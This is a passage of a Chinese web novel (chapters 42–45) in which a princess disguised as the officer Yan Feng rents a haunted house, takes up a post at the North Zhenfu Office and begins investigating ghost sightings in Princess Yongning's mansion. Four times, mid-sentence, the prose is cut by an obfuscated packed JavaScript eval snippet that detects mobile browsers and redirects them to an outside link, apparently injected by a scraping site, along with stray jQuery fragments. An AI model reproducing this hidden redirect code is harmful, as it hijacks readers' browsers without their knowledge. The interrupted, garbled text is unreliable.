她本以为此番入宫，须得几番周旋，却不想，竟如此顺遂地得了个千户的位置。 正五品，放在军营里，多少人以命相博也得不来的位置，原来龙子龙女只要挤几滴泪就能到手。 她嘴角扯了扯，忽觉一切都显得有些讽刺。 耳边传来一阵细碎脚步声，她偏头一看，是曹宜春仍跟在她身后。 “公公不忙么？竟陪我一道？” 曹宜春笑道：“这是陛下的恩典。陛下念殿下初来乍到，特准奴婢放一日假，陪殿下四处走走，熟悉熟悉京中的情形。” 燕风欠身谢道：“那便多谢父皇，也多谢公公。” “那不知接下来，公公觉得我该往何处去瞧瞧？” “殿下客气。至于去处……既已认祖归宗，本也该见见其余几位公主殿下。” “也好。那她们都住在哪？还请公公引路。” 曹宜春露出些许为难：“不巧得很，今日永宁公主在芳园设宴，诸位公主皆已前去赴宴，怕是要晚间才归了。” “倒是巧。永宁公主？不知她是哪位姐妹？” “永宁公主行五，是周贵妃所出。”曹宜春答。 “行五啊……” 她轻声喃喃一句，眼神渐渐变冷。 倒是难怪了。 她年幼时虽寄身冷宫，但还是有宫人偶尔施以小惠，送些残汤剩饭。那段日子虽清苦，却也不至于饿死。 直到七岁那年，行五的永宁公主带着妹妹七公主路过冷宫，见她在墙角啃一只窝头，竟生了戏弄的心思。 她们故意在她常出没的地方放了一碟甜猫食，待她上前时，便以偷食为由将她蒙头痛打。她至今仍记得那黑暗中混合着猫食与血腥的恶心气味，更记得那两个华服少女拍手大笑的残忍模样。 自那以后，再无人敢施舍她一口吃食，她才彻底沦落到与蛇鼠抢食的地步。 她记住了那两个公主的名号，曾发誓终有一日要报复回来。只是如今时过境迁，这份恨意现在想来都有些遥远了。 虽是不足为道，可恶寒依旧。 她收回思绪：“父皇……可有明言让我去拜见她们？” “并不曾。” “那便不急。今日既不凑巧，便不去了。方才父皇命我下月起到北镇抚司任职，我想着，总不能老住在宫里进出，叫同僚们背后议论。” 她转头看向曹宜春：“不知公公可有熟地，哪处宫外适合落脚？离宫与北镇抚司都近些便好。我想尽早最好今日便定下来，好留几日整理收拾。” 曹宜春笑道：“这有何难？这几年陛下查抄了不少大贪，得了几处上好的宅子。殿下来京前，陛下便提了几句，让奴婢替您掌掌眼，若有合适的，便改建个公主府。” “公主府？” 燕风摇摇头，毫不犹豫地拒绝了：“我只有一个小婢，哪里需要建什么府邸？我亲自去看看，或租或买一个一进的小院子便很好了。况且，进北镇抚司的，是男子‘燕风’，可不是公主‘延凤’，还请公公也要千万替我保密。” “是，”曹宜春连连点头，“公主说得极是，是奴婢考虑不周了。” 说罢他看了眼自己身上的内廷衣袍，笑道：“既然要隐瞒身份，不如请公主换身便装，奴婢也去换身衣裳陪着同去。如今那些房牙子个个精明得很，专宰生客。公主若是穿着这身去，怕是连房梁都要按尺寸算银子。” 不多时，燕风与江鱼在宫门口汇合。 燕风换了身剪裁干练的青色短褂，扎了发髻，束了腰带，又熟练地抹了些黑灰，看上去竟真有几分少年郎官的架势。 而曹宜春也换上了一身青灰布衣，面容干净儒雅。没了太监打扮，那份阴柔也仿佛烟消云散，乍一看倒真像是燕风的兄长。 “这……” 江鱼今日做了女子打扮，她左右打量了一番，自来熟道：“咱们三个一起走出去，倒真像是一家人了。” 燕风觑她一眼，调笑道：“你最像捡来的。” 江鱼也不恼，只嘿嘿一笑，跟在燕风身后朝市中而去。 他们一连看了几处宅子，牙人嘴甜得像吞了蜜，夸得每一处都似神仙宝地。什么“这宅子旺，院里种的葱都比别处绿三分”“前儿个租客刚搬来就中了举，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485548|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宅子的仕气可了不得！”张口就来，说得天花乱坠。 但燕风拢袖细细一算，每处的价格都高得离谱，以她将来的官俸，日子会过得紧巴巴。 她可不指望皇帝给她发了镇抚司的俸禄后，再发一份公主的份例。 她看一个摇头一个，叹道：“贵。” 牙人脸上的热情一点点褪去，明显开始敷衍：“那几位还看不看了？” “你不是说你这儿什么都有？再便宜点的难道就没有了？” “便宜的……”牙人翻了翻手里那叠得老高的房契，终于抬眼。 “有，凶宅要不要？” 燕风眼神一亮：“要！能有多便宜？” 牙人咂了咂嘴，见这人来真的，也不藏着掖着了：“跟我来吧。” 他一路带着他们七拐八绕，进了内城夹道深巷，一座宅子忽地映入眼帘—— 朱漆大门，青砖黛瓦，雕花窗棂隐在浓荫之间，这宅子看上去比他们前头看的都要气派多了。 “外头看着真不错。”江鱼小声道。 牙人耳尖：“可不是吗！而且还是个两进的大宅子！” 他们推门而入，一股陈年尘封混着草木灰的气息扑面而来。 里头地面虽积尘却未溃乱，墙面无裂，砖瓦整齐，只是四处荒草疯长，偶尔有野猫“喵”地一声从墙檐窜过，倒叫人心里打了个突。 “你这宅子这么大，能有多便宜？”燕风狐疑地问。 “便宜！怎么不便宜？这宅子压了快三年了，一直没人肯租，凶得很。” 说完又像是意识到不该说太多，赶忙补了一句：“不过啊，您不是讲究实惠么？这么着，五十两一年，跟前头那几个小院一个价。地段好、宅子大，也算我同您交个朋友。” 燕风正要开口砍价，忽听一旁的曹宜春咳了一声，慢悠悠道：“小哥，这不对吧。我们要的是价低的一进宅子，你却找了个二进的凶宅，还跟前头一样的价，于我们有何益处？况且，这宅子……我也听说过。” 他顿了顿，低声道：“这儿从前是个姓蒋的公公的私宅。三年前他突然在屋里上吊，尸首挂了好几日才被人发现。晦气得很。” 牙人脸色变了变，终究没否认。 燕风听了却来了精神：“可不是！能租得起这样大宅子的，不是官宦人家就是富商巨贾，都是最讲究风水的人。不然你这宅子怎么会三年都租不出去？如今遇上我这样不信邪的，算你运气好！” 她负手踱了两步，笑道：“继续放空还得交税，不如低价租我，好歹落个进帐，你说是也不是？” 牙人脸皮抽了抽：“四十五两一年，不敢再低了，再低我帐都难做。” 燕风摇头：“我是诚心要租。你若真想做生意，就别墨迹。” 牙人犹豫半晌，心一横：“这样！四十五两一年，若你租满五年，这宅子就送给你！这附近差不多大小的宅子少说也要八百两呢！” 燕风心里早已乐开了花，面上却仍装模作样地叹了口气。 “哎……也罢也罢。成交。但要写清楚，五年期满，这宅归我所有，白纸黑字，盖印画押。少一样我都不认。” “放心！”牙人一拍胸脯，“你连鬼都不怕了，我还敢赖你账？” 江鱼在一旁听得一愣一愣的，等牙人出去办文契，她才悄悄凑到燕风耳边。 “你……你就真敢租？我今儿夜里可要和你一起睡！” 燕风笑道：“怕什么，一起就一起，还省了我炭火钱。没钱可比鬼神可怕多了！” 43. 初涉 待房契签定、定金交讫，燕风掂了掂腰间的钱袋，不由得暗自皱眉—— 手头的银子已然捉襟见肘。 皇帝赐她的赏赐不少，可他恐怕也没想到这个女儿放着宫里不住，出来自己租宅子。所赐除了少量现银，多是些华贵衣裳和珍贵彩宝，贵则贵矣，却不能当饭吃。宫中之物可不敢随意变卖，若叫人认出，只怕祸事临门。 眼下还要采买家具，置办灶具被褥。想来接下来一铜钱要掰成两半花，才能熬到月俸发下。 唉，也罢也罢。 往后几日，她和江鱼就只好勒紧裤腰带，权当忆苦思甜。 可横在眼前的难题是：曹公公今日随她奔波半日，现在已过未时，连午饭都未用。为今后计也该请一顿饭略表心意，可这囊中羞涩…… 她尚未开口，曹宜春却似看穿了她的心思。 他抬手作揖：“殿下今日劳顿一日，寒舍就在左近。若是不弃，不如移步用些便饭？” "这般凑巧？" 曹宜春含笑解释："这一带临近皇城，又挨着几处衙署，宫里的同僚多在此安家。奴婢住这里，也不算稀奇。" 听他说得在理，燕风便也不再推辞。 三人一同行至巷尾，巷口那幢大宅雕梁画栋、朱漆高门，远看便觉富贵逼人。 果然是权宦，宅邸都这般气派，财大气粗得很。 她刚要迈步，便听曹宜春轻声道：“殿下，这边请。” 他手往边上一指，竟不是那座豪宅，而是不远处一座灰砖小院。 比起方才那金碧辉煌的门庭，这小宅子低调朴实得多，但细看却门庭整洁，倒也清幽雅致。 曹宜春亲自叩门，不多时便有一小童小跑着来开门，见到他，规规矩矩地喊了声：“家主。” “今日有贵客到访，吩咐厨房准备几道拿手菜。”曹宜春笑着吩咐。小童点头应下，飞快地去了。 院内不大，青砖小道两侧种着几丛苍松翠竹，颇见雅趣。 曹宜春将主仆二人迎入院中，他见燕风对江鱼颇为亲近，便也请她同席入座。那小童亦被燕风唤来同席。起初他推辞几声，但见曹宜春微一点头，便乖乖坐下，也不拘谨，想来曹宜春平日待他也十分宽厚。 不多时，饭菜陆续端了上来，虽皆是家常清汤素炒，却色香俱全、调味极佳，颇见用心。 燕风与江鱼实在饿了，吃得风卷残云，连带那小童也大快朵颐。倒是曹宜春吃得极为斯文，一双箸上下有度，极有规矩。 饭至一半，燕风举目四顾，忽发现刚才那错认的大宅，虽走来时似乎隔了些许距离，但因其宅第占地极广，实际与此竟只隔了一堵院墙。从此处看，那高墙里飞檐亦隐隐可见。 她随口问道：“方才那朱门高墙的宅子，气派得很，住的是何人？” 那宅子气象非凡，若住的是个阔绰的贵人，说不定将来她如果日子过得实在紧巴，还能捡起老本行，‘化个缘’应急。 曹宜春略看了看：“那是福瑛长公主的府邸。” “噗”的一声，燕风嘴里的汤差点呛住。 福瑛？ 她心头“咯噔”一跳。 福瑛长公主，宗谦的妻子，宗恂的母亲，大靖皇帝的堂妹，以及……她的堂姑。 她不由得想起从前宗恂说过的话：“我幼年过得也并不算多好，父亲驻边，母亲和祖母都并不喜欢我，只是面上装得关心……” 燕风垂下眼帘，敛去神色：“宗将军被押解回京，福瑛长公主是其生母，可有什么动作？” 她以为自己的态度拿捏得恰到好处：宗恂曾是她的上官，若她对此事全无关注，才倒显得刻意。 曹宜春略一思索，方才答道：“奴婢回京也不久，一直随侍陛下，并未听说福瑛长公主有何举动。或许她仍待在府中，静候消息罢。” 燕风轻轻点了点头，未再追问。 饭后又饮了些热汤解腻，几人闲聊片刻，天色已不早。 燕风知自己与江鱼接下来还有诸多杂事要置办，便起身告辞。 曹宜春也不强留，只亲自送她至门前，微笑着作揖： “殿下若在宫外有什么为难之处，尽管遣人来找奴婢。若奴婢能帮得上，定不推辞。” 燕风微笑还礼：“公公厚意，我记下了。” 两人沿着熟悉的小巷一路返回，不多时便回到了那座新租下的凶宅。 还不等她们坐下歇口气，门外便响起了一连串的吆喝声。 “往这边卸！小心些，别磕着了！” “这箱是家具，还有那一对百宝嵌屏风，抬进去抬进去！” 门一开，一辆接一辆马车进了院子。 先是数口木箱，沉甸甸地落在地上，随即是成套的桌椅柜橱、红漆大案、雕花床榻，甚至还有香炉、纱帐、竹帘和春夏用的冰鉴。连给婢女江鱼的衣物、针线、洗漱用品，也都被细细置办齐全。 这些物什显然非临时起意，想来早在许久之前，曹宜春便已差人准备停当，只待她定了落脚之处便送来。 江鱼一改先前对凶宅的惴惴不安，整个人像是打了鸡血，喜得满脸放光，一边卸货一边手脚麻利地张罗布置，像有使不完的力气。 “这院子里草是荒了些，但地松，明儿我就撒瓜种菜籽，这边靠南，种黄瓜黄豆都好。” “那边刮平点儿，做个练武场。殿下的武艺可不能荒废。” 她抬眼望了望这大院子，对燕风傻笑道：“这宅子可真大啊，我这辈子还没住过这么好的房子。正屋自然是您的，这两间厢房，一个我来住，另一个嘛，当然是留给陈青。” 燕风靠着柱子，倒有些蔫蔫的。 她看着江鱼在院中跑来跑去，觉得有趣，随口逗道：“你就这么确定陈青能回来？” “那当然了。”江鱼将一只箱子踢进屋里，回得理直气壮。 “我今日才晓得，宗将军的母亲原来还是个长公主呢！宗将军也好，青哥也罢，又没做错事，等真相大白自然就无事了。再说了，我们如今还有两位公主撑腰，难道还怕那些狗官栽赃陷害不成？” “还有，曹公公对您那么好，分明是个知情识礼的好人，肯定早就不记仇了。您之前就是太悲观了，什么都往坏处想。” 燕风垂了眼帘，笑而不语。 “咦？” 江鱼忽然翻出一只衣笼，里头是几套玄色织金官服并一副鎏金面具，“这是谁的衣服？怎的还带面甲？” 燕风走过去看了一眼，取过那身玄黑绣纹的长袍，在指间摩挲片刻，才幽幽道： “应该是父皇赏的官服了。他让我下月初一便去北镇抚司上值，算起来也不过三四日后。” 江鱼眼神一亮：“头儿，您是公主如今又有了实权官职，还怕什么呢？谁还敢忤逆您？” 燕风没说话，只是将那官服往身上一比，在刚拆封的铜镜架前站定，打量着镜中那位神色寡淡的郎官燕风。 她轻轻吸了一口气，眼神在镜中一寸寸沉了下来。 “……也是。” 她先前和罗同，该说的已然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485549|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了，若宗恂命里该有一线生机，那群人定不会坐视不管。 她该打起精神，未来是什么光景，全看她现在如何做了。 * 腊月初一，北镇抚司朱漆高门外，天色还早。 燕风静立门前，鎏金面具遮掩了上半张脸，只露出线条分明的下颌，新制的锦服暗纹在晨光中泛着光泽，腰间革带紧束，更显得身形挺拔如松。 守门的迎上来，听她报了名讳，微愣片刻，才道：“原来是燕千户，请随我来。” 穿过两进廊道，不多时，便被引至正堂。 正堂空无一人，那小兵赔着笑脸："马大人日理万机，您多担待……" 一杯茶都快凉透了，才听见脚步声慢悠悠晃进来。打头的那位，应当便是现任北镇抚司指挥使马顺了。 他年近五十，坐姿松垮散漫，一双三角眼藏在下垂的眼皮之后，看人时总带点浑噩。此人处处平庸，能坐上这个位置，全靠熬资历捡便宜。 偏偏权力的滋味诱人，司里若是有什么才俊冒头，明里暗里也少不了要被他打压。北镇抚司这几年死气沉沉，早已大不如前。 跟在马顺身侧的，是他的心腹千户裴正。此人四十出头，相貌寻常，唯有一双眼珠格外活络。 "燕千户果然年轻有为。"裴正笑道，"只是千户初来乍到，不如先熟悉司务。" 话说得客气，实则只拨了三个小旗给她差遣。 千户辖十百户所，满编逾千人。三个小旗，不足三十人。 她只点了点头，神色平静。 裴正原本候着她发难，见状反倒有些意外，笑道："委屈燕千户了，司中人手紧张，还望见谅。" "无妨。” 她分到的公廨不大，门前已候着三人，都是二十出头的年轻人。 一人靠在门边啃馒头，听见脚步声，先咽下一大口，才抬头哼道：“属下杨胜，见过千户。” 一人蹲在墙角修指甲，慌忙起身："小的严炳安。"眼神却往面具上溜了一眼。 另一位倒是举止稍微得当些，行了个礼："属下白砚生。" 燕风扫了三人一眼，没有训话，只道："散了吧。" 三人面面相觑，倒没料到新上司连场面话都懒得说，各自讪讪散去。 回到桌案，燕风取过司中名册，从头翻起。千户以下，百户、总旗、小旗，各人的来历、资历、靠山，她一一默记在心。 翻至末页，搁下卷宗。 呵，三个小旗。 隔日，燕风求见马顺，请命办案。 马顺捋须笑道："燕千户何必着急？司中事务繁杂，还是先熟悉为好。" 依旧是这套说辞。 燕风应了声“是”，退出正堂，当晚却去了曹公公府上。 翌日卯时，司礼监秉笔太监曹宜春突然到访。马顺与裴正匆忙出迎，满脸堆笑："不知曹公公驾到，有失远迎。" 曹宜春道："陛下口谕，永宁公主府近日屡有异状，事关宫闱，需彻查清楚。" 马顺正要表态：“属下愿亲自——” 曹宜春摆了摆手：“不用劳烦镇抚使。陛下特意点名，由燕千户督办此案。” 话音落地，堂中静了片刻。 马顺脸色发白，终究躬身领命。裴正则暗自庆幸先前未曾过分怠慢。 燕风接过差事，只淡淡道："领命。" 身后，杨胜、严炳安、白砚生三人跟着，各自交换了个眼色。 这位新上司，怕是有些来头。 44. 诡事 永宁公主府坐落在京城西城的富贵坊，与北镇抚司隔着大半个皇城。 托这桩差事的福，燕风一行竟分到了司里最好的四匹青海骢。这些骏马通体乌黑，唯有四蹄雪白，乃是西域进贡的良驹，平日都养在马顺的私厩里。 四人策马穿过长安街。年关将近，街上已是张灯结彩，商贩的吆喝声此起彼伏。 三个小旗见燕风一人打马在前，便借着市井喧嚣，低声议论起来。 白砚生轻夹马腹，与二人并行："说来奇怪，这般要紧的差事，怎就派我们三个跟着？" 杨胜闻言咧嘴一笑："这还不好？人少功劳才大。若差事办得漂亮，说不定能亲眼见见公主真容。" 他忽然压低嗓音，"你们可听说前些日子，圣上从北边接回一位流落民间的公主？现在坊间传得沸沸扬扬的，有说她国色天香，也有说长得跟夜叉似的，三头六臂，横眉獠牙……” "我也听说了，可是那位一回来就住进深宫，至今杳无音信，也不知传言孰真孰假。" "这回若能见到永宁公主，"杨胜眼中闪着向往的光，"她们既是姐妹，多少能推测出几分模样。到时候才知传言真假！" 严炳安听两人说话，突然嗤笑出声，他祖上是兵户出身，靠着祖荫得了这差事，算是三人里最见多识广的。 "好你个杨胜，平日装得老实巴交，没成想还有这份心思？我告诉你们吧，只带我们三人，是因为永宁公主的亲事已经定下了，明年开春就要出阁，这等紧要关头，所以才越低调越好。" 燕风戴着面具的脸微微侧转，三人的私语一字不落地传入耳中。 她不动声色地勒住缰绳，青海骢前蹄扬起，溅起一片湿泥。 "到了。" 三人这才惊觉已至公主府前。 朱漆大门庄严，门旁两尊石狮怒目而立，模样与寻常权贵府邸无异，却不知为何，白日里竟透出几分阴森鬼气，教人不自觉地打了个寒颤。 随后大门缓缓开启，一队太监侍女鱼贯而出。为首的是个白面微胖的中年宦官，头戴貂皮暖帽，手持乌檀拂尘。 他眯着眼，面上挂着恰到好处的笑容，自报家门：“小的周进宝，在永宁公主府当差，忝为管事。几位大人一路辛苦，快请进府歇息罢。” 此人虽言辞恭敬，但言语间仍透着几分主家的气度。 几人踏入府门，只觉天地豁然开朗。 汉白玉铺就的主道两侧，奇花异草点缀其间。不远处亭台楼阁错落有致，檐角飞金，廊柱描朱，连脚下地砖都暗藏云纹，在冬日暖阳下泛着莹润光泽。 三个小旗暗自咋舌，这般富贵气象，当真不愧是皇家府邸。 “咱们公主金枝玉叶，这府邸自然要配得上天家体面。”周进宝语带几分得意。 “只是，近来府里确是不怎么太平。” 周进宝叹了口气：“本是好端端的，新府落成不过月余。哪曾想，那些个侍女侍卫们，竟一个接一个出了事。都说是夜里撞了女鬼，有的还无缘无故掉牙掉头发，最骇人的是前日那位秋梨，半夜尖叫，说有东西撕她的脸，第二日醒来，脸上的皮竟真烂了一块。太医瞧过，说不是外伤，但也找不出什么名堂。” “可有死者？”燕风问。 “还未曾有丧命的。但人心惶惶，有几个胆小的，已经吓得哭着求调出公主府了。殿下气坏了，便回宫暂居，留奴才暂管此地。好在圣上隆恩，已经派人去请了法源寺的大师和白云观的仙人，应该不日就能到了。” 言下之意，请北镇抚司的诸位来，不过是走个过场。 杨胜插嘴：“依卑职看，未必就是鬼怪作祟，许是有人在暗中投毒？” 周进宝回头瞥他一眼，面色不变。 “这也不是没想过。可公主府守卫森严，谁人敢在天家宅院里下毒？再者说，这些个侍女侍卫，虽不见得多机灵，但也不是全然糊涂之辈，她们都说夜里真的看见有披头散发，满面血污的东西飘来飘去，总不至于全是说谎吧。” 燕风静静听完，正色道：“周总管此言差矣。子不语怪力乱神，更何况这是大靖天家贵女之所，福泽深厚，鬼魅之辈，岂敢妄扰？若真有异象，定是有人装神弄鬼。” “说得极是。”周总管连连点头，目光在燕风面具上停留片刻。 “不知大人可要先瞧瞧出事的几个丫头，还是……” 燕风笑道：“听说公主在宫中还要再住上一段时日？那正好，我们不如就住进府中，日夜查探，省得遗漏线索。劳烦周总管给我们准备两间住处。” 周总管眼角一跳，旋即笑道：“是我疏忽了。这就着人安排，诸位先随我去前院用些茶点。” 一行人被引至前院东廊，临窗而坐。 四下陈设精致，屏风后隐约传来流水声，屋中香薰袅袅，连空气中都透着娇贵气。 周总管又客气了几句，便称有事先行一步，只留他身后一个老宦官招待。 不多时，侍女们鱼贯而入，动作娴雅，端上了几样精巧点心与热茶。 茶色澄碧，糕点做成花形，精致得不像能入口的食物。 杨胜一见吃的便忍不住了，伸手拿了一块茶酥。那酥入口即化，满口留香，他忍不住连吃几块，又灌了两口热茶，才意犹未尽地咂了咂嘴。 他吃得太快，侍女都掩唇偷笑。杨胜察觉，憨憨地摸了摸后脑勺。 立在一旁的老宦官见状，眼中划过一丝不屑，冷不丁阴阳怪气道： “咱这府里哪怕是洒扫的水，也是用西山的泉水烧开了才肯用，更别说是入口的东西了。这茶酥，可是宫里的御厨特制，里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485550|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头糖霜是用江南贡蜜和陈皮研细了调的。那茶，是碧螺春头采，宫里刚送来的头一道。可不是外头哪家哪户都能尝到的……不比那些，杂面杂馍，乡下用来填饱肚子的粗点儿。” 此话一出，镇抚司几人脸色齐齐一沉。杨胜反应慢半拍，先是怔住，才意识到是在讽刺自己，脸色涨得通红。 唯有燕风不为所动，缓缓将茶盏搁下，淡淡一笑：“这茶点确是不错。” 她眼神落向那老宦官：“闲话许久，尚未向公公通晓姓名。在下燕风，北镇抚司正五品千户，奉陛下钦旨，查公主府中异事。这三位是我的得力属下，杨胜，严炳安，白砚生。” “公公既代周总管待客，总该自报家门，不知尊姓大名，又是哪一房头的老前辈？” 这话说得算是直接，便是明摆着不受这阴阳怪气，撕破脸皮也不在乎。 那老宦官脸上僵了僵，先前的傲气瞬间敛尽，只得讪讪一躬身，恭敬道：“老奴周祥，是周总管跟前掌内账的管事，平日管些外事出入，今儿公主不在，周总管事务繁忙，便叫我来招待几位大人。多有怠慢，实在失礼。” 燕风点头：“好说。既然周祥管事熟知府中内务，那便劳烦您将近来发生之事，依次说与我们听听。” “是。”周祥神色恭敬，再无方才的轻慢之色。 “这府中出事，也就是最近的事。头一桩事儿，大约是在七日前……” 他声音抑扬顿挫，说得绘声绘色。又是白衣女鬼夜半飘窗而入，又是侍女自掐面皮疯言疯语，还有南园里现身的噬脸大虫…… 这老宦官若不是在宫里混的，怕是早在醉仙楼说书去了。 至于话中真假，几分实情几分添油加醋？实在不好说。 那三个小旗倒是听得入迷，皆起了鸡皮，心道便是地狱恶鬼也不过如此了吧。 燕风拈起一支狼毫，在纸上缓缓写下几个名字：“那几位撞邪的丫鬟叫什么？秋梨、春信、云芝，还有谁？” 周祥见她认真记录，声音也不由自主收敛了些：“还有一个叫芍药的。” 燕风一边写，一边问细节。凡是周祥讲得过于玄怪之处，她便以一句“目击人是谁”、“何时发生”、“有没有旁人作证”打断，条分缕析。 她神情自若，恍若正记一件寻常公务，不曾露出半分惧色。 待日光高照，堂外传来小太监禀报的声音：午饭已备好了。 几人用了饭食后，周祥起身作揖：“几位大人辛苦，院中住处已收拾妥当。巧杏——” 一个身着碧衫的侍女便从偏门走来，年约十七八，眉目娟秀。 “奴婢在。”她欠身道。 “你带几位大人前去住处看看，歇息片刻。” “是。”巧杏福身，抬头微笑道：“诸位大人，这边请。” 45. 秋梨 燕风点点头，起身带着手下随那位叫巧杏的姑娘走了。 永宁公主府不愧为京中最气派的女眷府邸，一路所见雕梁画栋，门洞曲折，层层叠叠，处处都花团锦簇，叫人几乎分不清方向。 几个锦衣卫走得一头雾水，仿佛不小心踏入了画卷。 “这府邸可真大啊……”杨胜忍不住嘀咕了一句。 巧杏耳尖，闻言便停了脚步，回首恭敬道：“大人可是觉得累了？奴婢可以带大人们抄个近路过去。” 杨胜连忙摆手：“不必不必，我随口说的。这边景致确实不错，姑娘继续带路就是。” 燕风忽然淡声开口：“不急着去歇息。不如先熟悉一下各处要紧之地。侍女们都住在哪一片？” 巧杏微愣了愣：“回大人的话，就近在这边西北角，绕过前面那道雕花长廊便是。” 燕风轻挑眉：“那倒是巧了。周管事方才提及那几位撞邪的侍女，如今可还住在那里？” 巧杏沉默片刻，低头应道：“……是的。” “那正好。就先去看看那个伤得最重的秋梨吧。” 巧杏目光微闪，似是犹豫了一瞬，终究还是低声应了。 “……是。诸位大人请随我来。” 绕过曲折的长廊，几人被领入一处偏僻的小房间前。 巧杏推开门，一股混杂着霉味、药味与淡淡腥气的气息扑面而来，令人不自觉皱眉。 屋里没生炭，寒气沉沉。 抬眼看去，昏暗的屋内陈设简单，靠墙一张小床，床铺凌乱，散着大片脱落的黑发，几缕还缠在枕边。 一女子蜷缩其上，她瘦得几近脱相，眼睛半阖，面色灰白，偏偏脸颊上一片暗红，走近细看，竟是剥落未尽的皮肉。 燕风眉心蹙起，沉声问：“天这么冷，她本就这般虚弱，怎么房间里不点炭？” “回大人的话，是……是秋梨姑娘自己求的。她说她太疼了，只求速死，不想再拖了。” 众人听了都神色动容，燕风叹了口气，进了屋轻声唤道：“秋梨姑娘？” 床上的女子听到了动静，眼皮微颤，缓缓睁开双眼。 那双眼睛形状很美，然而如今却浑浊无神，宛若池塘里的一滩死水。 巧杏凑上前，俯身柔声道：“秋梨，这是北镇司来的大人，来查你的案子的，你可有什么想说的吗？” 秋梨的眼神略微一动，却只是看了他们一眼，随即便又缓缓闭上了。 “秋梨？”巧杏又轻唤了一声。 女子却仿佛听不见，再也没有半点反应。 巧杏有些急了，连声唤了几次，又回头看几位大人，脸色涨红，跪也不是，站也不是。 燕风摆了摆手：“算了吧，秋梨姑娘太累了。我们晚些再来。” 巧杏这才如释重负，低声应了一句“是”。 众人刚踏出房门，还没等走在最后的白砚生将门关上，巧杏却“扑通”一声。猛地跪倒在地。 “求大人们体谅奴婢……千万、千万不要把奴婢带大人们来看秋梨的事说出去” 几人皆是一愣。 燕风眉一挑，问：“怎么，周总管他们不想让我们见她？” 巧杏摇头：“不，不是……只是周总管只吩咐我带几位大人去前院住处，并没有说让我带来这边。奴婢擅作主张，便是僭越。若叫人知道了……奴婢担不起。” 杨胜不解，挠了挠头：“既然没说不让，反正我们也是要来看的，那谁带来的又有区别？再说，是我们让你带的，你也不能不带吧？” “求大人们体谅，求大人们体谅……”巧杏已然开始磕头，额前碎发散落，看起来十分可怜。 燕风静静看她，又回头望了一眼门缝里那个可怜的女子，缓声道：“起来吧，我们答应你，谁也不说。” “反正秋梨姑娘也没说什么话，见与不见，又能有多大区别？” 巧杏抬起头时眼眶微红，哽咽着谢恩，又磕了一个头，这才缓缓起身，领着几人继续探访。 接下来几个时辰里，他们又先后见了三名侍女，这三人皆信誓旦旦称自己撞了鬼。 第一位叫云芝，才十五六岁，她说那晚起夜回来，一掀帘子，竟见窗前飘着一白色人影，风一吹还轻轻晃动，像是正对她笑。她一头栽进被子里哭了一夜，次日醒来便发现额角变黑，全身不适。 "那人影飘在哪个方向？窗内还是窗外？" 云芝怔了怔："窗……窗内。" 第二位唤作春信，几日便瘦得皮包骨头。至今眉眼间仍藏着惶惶：“我……我看见一个白衣女人，从内院那口枯井里出来，披头散发，眼珠子挂在外头，一晃一晃的……她还叫我名字。” "叫的是春信，还是你的真名？" "是……春信。" 第三位叫芍药，她言之凿凿，说自己白日当值时，从镜子里看见背后立着一具无头女尸，一动不动站了半柱香。她转头看时什么也没，回身镜中又出现。她吓得把铜镜砸了个粉碎，接着自己便连着高烧七日，至今还没恢复过来。 燕风没再追问，只低头在纸上记了些什么。 三人讲得各不相同，但面上的惊惧却都不似作伪，三位小旗皆有不同程度的受惊。 就连三人中最显稳重的白砚生，听侍女们讲述时，也不自觉频频搓手，眼角余光更不离门窗。 不知不觉，天色渐暗。 晚饭照例精致，但连杨胜都没心思多吃，只默默扒了几口热饭。等饭毕回了住处，夜已彻底落下，天边只剩一抹青黑。 三位小旗同住一屋，燕风则独住隔壁另一屋。 此时北风拍打窗棂，屋内灯火摇晃，窗纸上映出几人的身影，又细又长。 杨胜一脚踏进屋门：“这屋子是不是比白天更阴点？” 严炳安哼了一声：“别胡说。”然而声音远不如平日那般底气十足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485551|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 为驱散不安，白砚生故作轻松道："说来稀奇，燕千户今日说的话，怕是比他在镇抚司这几日加起来的还多。平日拒人千里之外，没想到竟记得我们名字。" 